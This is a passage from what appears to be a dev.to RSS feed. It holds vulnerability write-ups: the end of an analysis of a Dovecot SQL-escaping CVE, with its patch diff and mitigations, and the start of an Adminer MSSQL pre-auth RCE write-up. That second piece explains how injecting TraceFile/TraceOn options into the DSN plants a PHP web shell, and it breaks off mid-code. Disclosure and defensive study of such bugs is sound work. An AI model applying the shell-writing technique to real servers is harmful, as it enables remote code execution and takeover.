    &lt;span class="n"&gt;e_debug&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authdb_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql_request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;auth_request&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="s"&gt;"query: %s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;auth_request_ref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql_request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;auth_request&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;sql_query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sql_query_callback&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sql_request&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At first glance this looks correct. &lt;code&gt;settings_get_params()&lt;/code&gt; is called with an explicit &lt;code&gt;escape_func = passdb_sql_escape&lt;/code&gt;, and that function calls the underlying DB driver's &lt;code&gt;sql_escape_string()&lt;/code&gt; (MySQL/PostgreSQL/SQLite) to properly escape quotes and the like. &lt;code&gt;settings.h&lt;/code&gt; even documents the contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;settings_get_params&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="cm"&gt;/* If non-NULL, all %variables are escaped with this function. */&lt;/span&gt;
    &lt;span class="n"&gt;var_expand_escape_func_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;escape_func&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;"If non-NULL, it is guaranteed to be used for escaping"&lt;/strong&gt; — except that contract wasn't actually being honored.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. The real root cause — an escape_func override bug in settings.c
&lt;/h2&gt;

&lt;p&gt;The bug isn't in &lt;code&gt;passdb-sql.c&lt;/code&gt; at all — it's one layer down, in &lt;code&gt;settings_var_expand_init()&lt;/code&gt; inside &lt;code&gt;src/lib-settings/settings.c&lt;/code&gt;. Dovecot's settings system can receive a var-expand escape function from two places:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The &lt;strong&gt;explicit&lt;/strong&gt; &lt;code&gt;escape_func&lt;/code&gt; a caller passes into &lt;code&gt;settings_get_params()&lt;/code&gt; (e.g. &lt;code&gt;passdb_sql_escape&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;default escape callback registered somewhere up the event hierarchy&lt;/strong&gt; (&lt;code&gt;init_ctx.escape_func&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The vulnerable 2.4.0–2.4.2 code &lt;strong&gt;unconditionally used option 2&lt;/strong&gt;, no matter what the caller passed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Patch commit &lt;code&gt;34fbd3956d&lt;/code&gt; diff (&lt;code&gt;src/lib-settings/settings.c&lt;/code&gt;):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;    ctx-&amp;gt;var_params.tables_arr = array_front(&amp;amp;init_ctx.tables);
    ctx-&amp;gt;var_params.providers_arr = array_front(&amp;amp;init_ctx.providers);
    ctx-&amp;gt;var_params.contexts = array_front(&amp;amp;init_ctx.contexts);
&lt;span class="gd"&gt;-   ctx-&amp;gt;var_params.escape_func = init_ctx.escape_func;
-   ctx-&amp;gt;var_params.escape_context = init_ctx.escape_context;
&lt;/span&gt;&lt;span class="gi"&gt;+   if (ctx-&amp;gt;escape_func != NULL) {
+       /* settings_get_params()'s escape_func overrides all others */
+       ctx-&amp;gt;var_params.escape_func = ctx-&amp;gt;escape_func;
+       ctx-&amp;gt;var_params.escape_context = ctx-&amp;gt;escape_context;
+   } else {
+       ctx-&amp;gt;var_params.escape_func = init_ctx.escape_func;
+       ctx-&amp;gt;var_params.escape_context = init_ctx.escape_context;
+   }
&lt;/span&gt;    ctx-&amp;gt;var_params.event = ctx-&amp;gt;event;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So even though &lt;code&gt;passdb-sql.c&lt;/code&gt; explicitly requests &lt;code&gt;escape_func = passdb_sql_escape&lt;/code&gt;, the actual variable-substitution step &lt;strong&gt;silently discarded it&lt;/strong&gt; and used whatever (unrelated, or absent) escape function the event chain happened to expose instead. The net effect: the username value substituted for &lt;code&gt;%u&lt;/code&gt; could end up &lt;strong&gt;not escaped at all, or escaped incorrectly&lt;/strong&gt;, for SQL.&lt;/p&gt;

&lt;p&gt;This bug was introduced by the 2024 commit &lt;code&gt;ef0c63b6&lt;/code&gt; ("auth: passdb/userdb sql - Convert to new settings"), a large refactor that moved SQL passdb/userdb onto the new settings framework. The Dovecot developers themselves flag it in the commit log as a "v2.4 regression."&lt;/p&gt;

&lt;p&gt;The same class of bug also produced a sibling CVE in the LDAP passdb (CVE-2026-27860, LDAP filter injection) — both trace back to the same &lt;code&gt;settings_var_expand_init()&lt;/code&gt; defect.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Full attack chain
&lt;/h2&gt;

&lt;p&gt;Two conditions have to line up for real exploitation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Precondition A&lt;/strong&gt;: An admin has set &lt;code&gt;auth_username_chars&lt;/code&gt; to an empty string (disabling the character whitelist)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Root cause B&lt;/strong&gt;: The &lt;code&gt;settings_var_expand_init()&lt;/code&gt; bug that ignores &lt;code&gt;passdb_sql_escape&lt;/code&gt; — present in every 2.4.0–2.4.2 / 3.1.0–3.1.3 install regardless of configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The CVSS vector's &lt;code&gt;AC:H&lt;/code&gt; (high attack complexity) reflects the fact that condition A has to be true.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiibikk62ri4u3h5hkkdm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiibikk62ri4u3h5hkkdm.png" alt=" " width="800" height="966"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/jM7_DM3J8hc" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  6. The actual fix (v2.4.3)
&lt;/h2&gt;

&lt;p&gt;The core patch is the priority reordering inside &lt;code&gt;settings_var_expand_init()&lt;/code&gt; shown above.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gd"&gt;--- a/src/lib-settings/settings.c
&lt;/span&gt;&lt;span class="gi"&gt;+++ b/src/lib-settings/settings.c
&lt;/span&gt;&lt;span class="p"&gt;@@ -1673,8 +1673,14 @@&lt;/span&gt; settings_var_expand_init(struct settings_apply_ctx *ctx)
    ctx-&amp;gt;var_params.tables_arr = array_front(&amp;amp;init_ctx.tables);
    ctx-&amp;gt;var_params.providers_arr = array_front(&amp;amp;init_ctx.providers);
    ctx-&amp;gt;var_params.contexts = array_front(&amp;amp;init_ctx.contexts);
&lt;span class="gd"&gt;-   ctx-&amp;gt;var_params.escape_func = init_ctx.escape_func;
-   ctx-&amp;gt;var_params.escape_context = init_ctx.escape_context;
&lt;/span&gt;&lt;span class="gi"&gt;+   if (ctx-&amp;gt;escape_func != NULL) {
+       /* settings_get_params()'s escape_func overrides all others */
+       ctx-&amp;gt;var_params.escape_func = ctx-&amp;gt;escape_func;
+       ctx-&amp;gt;var_params.escape_context = ctx-&amp;gt;escape_context;
+   } else {
+       ctx-&amp;gt;var_params.escape_func = init_ctx.escape_func;
+       ctx-&amp;gt;var_params.escape_context = init_ctx.escape_context;
+   }
&lt;/span&gt;    ctx-&amp;gt;var_params.event = ctx-&amp;gt;event;
 }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, when a caller of &lt;code&gt;settings_get_params()&lt;/code&gt; explicitly supplies an &lt;code&gt;escape_func&lt;/code&gt; (like &lt;code&gt;passdb_sql_escape&lt;/code&gt;), that value takes priority; the event-chain default is only used as a fallback when the caller didn't specify one. This is what finally makes the escape functions passed by &lt;code&gt;passdb-sql.c&lt;/code&gt;, &lt;code&gt;userdb-sql.c&lt;/code&gt;, and &lt;code&gt;db-ldap.c&lt;/code&gt; actually take effect.&lt;/p&gt;

&lt;p&gt;A few related commits shipped alongside it, cleaning up the same pattern:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;25c34e5084&lt;/code&gt; — &lt;code&gt;passdb sql - Fix escaping for set_credentials()&lt;/code&gt; (a missing-escape path in the OTP credential-update flow; not a separate CVE, but the same underlying pattern)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;6a8f2daf15&lt;/code&gt; — &lt;code&gt;passdb/userdb ldap - Fix escaping ldap filter, base and bind_userdn&lt;/code&gt; (CVE-2026-27860, the LDAP counterpart of this exact bug)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;74a6f1612e&lt;/code&gt; — &lt;code&gt;Rewrite ldap_escape() with a unit test&lt;/code&gt; (regression-prevention hardening)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  7. Detection and mitigation
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Check the configuration&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# check dovecot.conf or conf.d/*.conf&lt;/span&gt;
doveconf &lt;span class="nt"&gt;-n&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;auth_username_chars
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;An empty value (&lt;code&gt;auth_username_chars =&lt;/code&gt;) is an immediate red flag. At minimum, restore it to something at or above the default whitelist (&lt;code&gt;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890.-_@&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;If unicode usernames are genuinely required, don't remove the restriction entirely — build an explicit whitelist that still excludes characters used in SQL injection (&lt;code&gt;'&lt;/code&gt;, &lt;code&gt;"&lt;/code&gt;, &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;\&lt;/code&gt;, whitespace, etc.).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Apply the patch&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CE core → 2.4.3 or later&lt;/li&gt;
&lt;li&gt;Pro core → 3.1.4 or later&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Log-based detection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With &lt;code&gt;auth_debug = yes&lt;/code&gt; enabled, check the &lt;code&gt;query: ...&lt;/code&gt; debug line emitted by &lt;code&gt;passdb-sql.c&lt;/code&gt; for usernames containing abnormal quote or comment patterns (&lt;code&gt;--&lt;/code&gt;, &lt;code&gt;#&lt;/code&gt;, &lt;code&gt;/*&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;e_debug&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authdb_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql_request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;auth_request&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"query: %s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Operational and network controls&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Apply rate limiting on authentication endpoints, since response-time or error-message differences could be leveraged for user enumeration.&lt;/li&gt;
&lt;li&gt;On the database side, if SQL query logging is enabled, add detection rules for abnormal WHERE-clause patterns in &lt;code&gt;password_query&lt;/code&gt;/&lt;code&gt;user_query&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>database</category>
      <category>vulnerabilities</category>
      <category>cve</category>
      <category>sql</category>
    </item>
    <item>
      <title>CVE-2026-56705: Pre-Auth RCE in Adminer's MSSQL Driver</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Mon, 31 Aug 2026 22:39:45 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-56705-pre-auth-rce-in-adminers-mssql-driver-i8d</link>
      <guid>https://dev.to/guidance_white/cve-2026-56705-pre-auth-rce-in-adminers-mssql-driver-i8d</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7ymcy7ctf6nu07gt5wjr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7ymcy7ctf6nu07gt5wjr.png" alt=" " width="800" height="1200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE ID&lt;/strong&gt;: CVE-2026-56705&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Target&lt;/strong&gt;: Adminer (vrana/adminer), current stable &lt;code&gt;adminer-5.4.2.php&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVSS&lt;/strong&gt;: 9.8 (Critical)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attack requirement&lt;/strong&gt;: None — pre-authentication, over the network&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Precondition&lt;/strong&gt;: &lt;code&gt;pdo_sqlsrv&lt;/code&gt; extension + Microsoft ODBC Driver for SQL Server installed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact&lt;/strong&gt;: Remote Code Execution&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Discovery&lt;/strong&gt;: Voorivex Team (Yashar Shahinzadeh, Amirmohammad Safari), reported to the vendor on April 6, 2026&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Adminer ships as a single PHP file that gets dropped straight into a web root. That convenience is also why it's such a common target: a login page sitting on the internet, indexed and scannable. This vulnerability lets an attacker drop arbitrary PHP into that same web root &lt;strong&gt;even when the login attempt itself fails.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the bug lives
&lt;/h2&gt;

&lt;p&gt;Adminer takes &lt;code&gt;driver&lt;/code&gt;, &lt;code&gt;server&lt;/code&gt;, &lt;code&gt;username&lt;/code&gt;, and &lt;code&gt;password&lt;/code&gt; from the login form and hands them directly to each database driver's &lt;code&gt;attach()&lt;/code&gt; function. Here's the MSSQL driver:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;adminer/drivers/mssql.inc.php:185&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;extension_loaded&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"pdo_sqlsrv"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Db&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;MssqlDb&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$extension&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"PDO_SQLSRV"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;attach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$server&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;host_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$server&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;dsn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"sqlsrv:Server=&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$port&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="s2"&gt;",&lt;/span&gt;&lt;span class="nv"&gt;$port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things go wrong here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;$host&lt;/code&gt; is concatenated into the DSN string with zero escaping.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;host_port()&lt;/code&gt; only strips anything for the IPv6 bracket form (&lt;code&gt;[::1]:1433&lt;/code&gt;) — everything else passes through untouched.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;include/functions.inc.php:851&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;host_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$server&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'~^(\[(.+)]|([^:]+)):([^:]+)$~'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$server&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$match&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$match&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$match&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$match&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$server&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any input that doesn't match this pattern — which includes anything shaped like &lt;code&gt;IP;option=value&lt;/code&gt; — falls through the regex and comes back &lt;strong&gt;exactly as submitted&lt;/strong&gt;. So whatever an attacker types into the login form's &lt;code&gt;server&lt;/code&gt; field lands, character for character, inside the DSN.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why a single semicolon is enough
&lt;/h2&gt;

&lt;p&gt;ODBC connection strings (DSNs) use a semicolon as the parameter delimiter. Put a semicolon in the &lt;code&gt;server&lt;/code&gt; field and everything after it is parsed as a brand-new DSN option.&lt;/p&gt;

&lt;p&gt;The two options that matter here are &lt;code&gt;TraceFile&lt;/code&gt; and &lt;code&gt;TraceOn&lt;/code&gt;. Turning them on makes the ODBC driver log the &lt;strong&gt;connection attempt itself&lt;/strong&gt; to a file at the given path — regardless of whether the connection succeeds. And that log includes the full connection string, including the &lt;code&gt;UID={...}&lt;/code&gt; field, which is populated straight from the &lt;code&gt;username&lt;/code&gt; field on the login form.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdzxp0xxxuc8uq3lqhmjs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdzxp0xxxuc8uq3lqhmjs.png" alt=" " width="800" height="354"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That gives an attacker control over three things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;TraceFile&lt;/code&gt; → the &lt;strong&gt;path and filename&lt;/strong&gt; of the log file (&lt;code&gt;shell.php&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;TraceOn=1&lt;/code&gt; → turns tracing on&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;username&lt;/code&gt; → injects &lt;strong&gt;PHP code&lt;/strong&gt; into the &lt;code&gt;UID={...}&lt;/code&gt; field inside that log&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The full payload, from attach() to PDO
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;dsn()&lt;/code&gt; calls &lt;code&gt;new \PDO($dsn, $username, $password, $options)&lt;/code&gt; directly, in &lt;code&gt;pdo.inc.php:13&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$dsn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;array&lt;/span&gt; &lt;span class="nv"&gt;$options&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;()):&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$options&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;\PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ATTR_ERRMODE&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;\PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ERRMODE_SILENT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$options&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;\PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ATTR_STATEMENT_CLASS&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Adminer\PdoResult'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
